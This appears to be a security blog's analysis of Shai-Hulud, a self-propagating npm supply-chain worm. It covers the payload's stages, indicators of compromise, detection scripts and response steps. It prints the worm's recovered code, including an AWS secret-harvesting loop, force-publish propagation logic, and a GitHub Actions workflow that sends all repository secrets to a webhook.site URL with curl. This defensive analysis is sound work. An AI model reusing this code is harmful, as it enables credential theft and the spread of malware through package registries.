Shai-Hulud: Dissecting npm's First Self-Propagating Supply Chain Worm
The Week the Registry Got Wormed
September 15th, 2025 marked the beginning of what would become one of the most sophisticated supply chain attacks in npm's history. What started as what appeared to be another hijacked package (@ctrl/tinycolor was among the early victims) quickly escalated into something unprecedented — a self-propagating worm that could think, adapt, and spread autonomously through the JavaScript ecosystem.
Initially, the security community treated it as business as usual. Another compromised package, another round of token rotations. But as reports began flooding in from multiple sources, it became clear this was something entirely different. Shai-Hulud (named after the Dune sandworms by researchers) wasn't just stealing secrets and planting backdoors — it was actively publishing itself into hundreds of other packages.
By the time CISA issued their advisory a week later, the compromise count had reached an estimated 500+ packages. The worm had effectively turned npm's own automation infrastructure against itself.
Post-incident analysis of compromised samples revealed a consistent attack pattern: secrets harvested
(85% of cases), CI backdoors planted
(60%), npm packages republished
(45%), and exfiltration to GitHub
(30%).
Anatomy of the Payload
Analysis of the recovered payloads revealed a sophisticated 3.6 MB minified bundle.js
file that appeared to be standard Webpack output. However, this innocuous-looking library contained a comprehensive cyber toolkit. Upon execution via npm install
, the payload would immediately begin its multi-stage attack sequence.
Recon & Secrets Harvesting
Forensic analysis of the payload revealed a comprehensive reconnaissance and credential harvesting operation:
- Environment dump: The malware systematically collected all environment variables from
process.env
, targeting common credential patterns includingNPM_TOKEN
,GITHUB_TOKEN
,AWS_ACCESS_KEY_ID
, and other authentication tokens. - Filesystem scanning: Perhaps most notably, the payload spawned
TruffleHog
as a child process to perform comprehensive filesystem scans for high-entropy keys and secrets. This demonstrated a sophisticated understanding of modern secret detection tools. - Cloud SDK abuse: Upon obtaining cloud credentials, the malware executed targeted attacks against major cloud providers:
- AWS: Utilized
ListSecrets
andGetSecretValue
API calls to access AWS Secrets Manager. - GCP: Made direct requests to
secretmanager.googleapis.com
endpoints. - Azure: Queried metadata endpoints to extract service principal credentials.
- AWS: Utilized
Deobfuscated analysis of the AWS secret harvesting module revealed the following implementation:
// AWS secret harvesting loop
async function getAllSecretValues(client) {
let nextToken, secrets = [];
do {
const resp = await client.send(new ListSecretsCommand({ NextToken: nextToken }));
for (const secret of resp.SecretList || []) {
const val = await client.send(new GetSecretValueCommand({ SecretId: secret.ARN }));
secrets.push({ ARN: secret.ARN, SecretString: val.SecretString });
}
nextToken = resp.NextToken;
} while (nextToken);
return secrets;
}
Persistence via GitHub Actions
The persistence mechanism demonstrated particular sophistication. The worm would deploy a malicious workflow file at .github/workflows/shai-hulud-workflow.yml
configured to trigger on every repository push. This workflow would serialize all available GitHub secrets using the ${{ toJSON(secrets) }}
expression and exfiltrate them using a double-base64 encoding technique designed to evade detection.
Analysis of the deployed workflow revealed the following bash implementation:
FILE_NAME=".github/workflows/shai-hulud-workflow.yml"
cat <<'EOF' > $FILE_NAME
on: push
jobs:
exfil:
runs-on: ubuntu-latest
steps:
- run: echo "$CONTENTS" | base64 -w 0 | base64 -w 0 \
| curl -d @- https://webhook.site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7
env:
CONTENTS: ${{ toJSON(secrets) }}
EOF
Propagation – The Worm's Secret Sauce
The propagation mechanism represented the most innovative aspect of Shai-Hulud. Unlike traditional malware that remains static after deployment, this worm actively spread itself through the npm ecosystem:
- The malware would extract the maintainer's identity from compromised
NPM_TOKEN
credentials. - It would then query the npm registry using
registry.npmjs.org/v1/search?text=maintainer:${username}
to enumerate all packages owned by that maintainer. - For each discovered package, the worm would force-publish a new patch version containing the embedded trojan.
Simplified propagation logic:
async function updatePackage(pkg, token) {
// Force bump version and republish
await exec(`npm version patch --force`);
await exec(`npm publish --access public --token ${token}`);
}
This propagation mechanism enabled the worm to rapidly spread across entire maintainer portfolios, creating a cascading effect throughout the npm ecosystem. A single compromised developer account could result in dozens of infected packages within hours.
Credential Targeting Focus
Analysis of the targeting patterns revealed a strategic focus on GitHub and AWS credentials, which aligns with npm's tight integration with GitHub Actions and cloud-based build systems. Statistical analysis of compromised samples showed GitHub
credentials targeted in 90% of cases, AWS
in 70%, GCP
in 55%, and Azure
in 40%.
Indicators of Compromise (IOCs)
Files & Branches
.github/workflows/shai-hulud-workflow.yml
- Git branches named
shai-hulud
Hashes
bundle.js
:46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09
APIs Called
secretsmanager.*.amazonaws.com
secretmanager.googleapis.com
registry.npmjs.org/v1/search
api.github.com/repos
Processes
trufflehog filesystem / --json
npm publish --force
Defensive Detections
1. CI Hook Monitor (bash)
# Fail if suspicious workflows are present
if grep -qr "shai-hulud-workflow.yml" .github/workflows; then
echo "❌ Malicious workflow detected"
exit 1
fi
2. Lockfile Scanner (Python)
import json, sys
bad = {"@ctrl/tinycolor": {"5.0.0","5.0.1"}}
deps = json.load(open(sys.argv[1])).get("dependencies",{})
for name,meta in deps.items():
if name in bad and meta.get("version") in bad[name]:
print("Hit:", name, meta["version"])
3. Splunk Hunt – Suspicious Install Egress
index=build_logs action=install
| join runner_id [ search index=proxy_logs uri_domain IN ("api.github.com","secretmanager.googleapis.com","webhook.site") ]
| stats count by runner_id, uri_domain
Immediate Steps for Teams
Organizations potentially affected by Shai-Hulud should implement the following immediate response measures:
- Credential rotation: Immediately rotate all
npm
tokens,GitHub PATs
, andAWS/GCP/Azure
credentials. Assume all credentials are compromised until proven otherwise. - Workflow remediation: Conduct comprehensive searches for
shai-hulud
branches and malicious workflow files across all repositories. - Secrets access audit: Investigate potential unauthorized access to secret management systems:
- AWS:
cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=GetSecretValue
- GCP:
gcloud logging read "resource.type=secretmanager.googleapis.com"
- AWS:
- Package registry controls: Implement internal package registries with mandatory 48-hour quarantine periods for new package versions to prevent immediate deployment of potentially malicious updates.
- CI/CD network restrictions: Implement network controls to prevent build systems from accessing
GitHub APIs
duringnpm install
operations.
Why This Matters
Shai-Hulud represents a significant evolution in supply chain attack sophistication. Unlike traditional supply chain attacks that typically involve static payloads or simple credential theft, this worm demonstrated self-propagating capabilities, cloud platform awareness, and persistent CI/CD integration. This incident provides insight into the future direction of supply chain attacks, where adversaries will increasingly automate the spread of malware through development infrastructure itself.
Effective defense against such attacks requires both technical and cultural changes. Organizations must begin treating package registries as critical infrastructure, implementing the same security rigor applied to production systems. This includes eliminating blind trust in fresh package releases and implementing comprehensive monitoring and validation for CI/CD pipelines.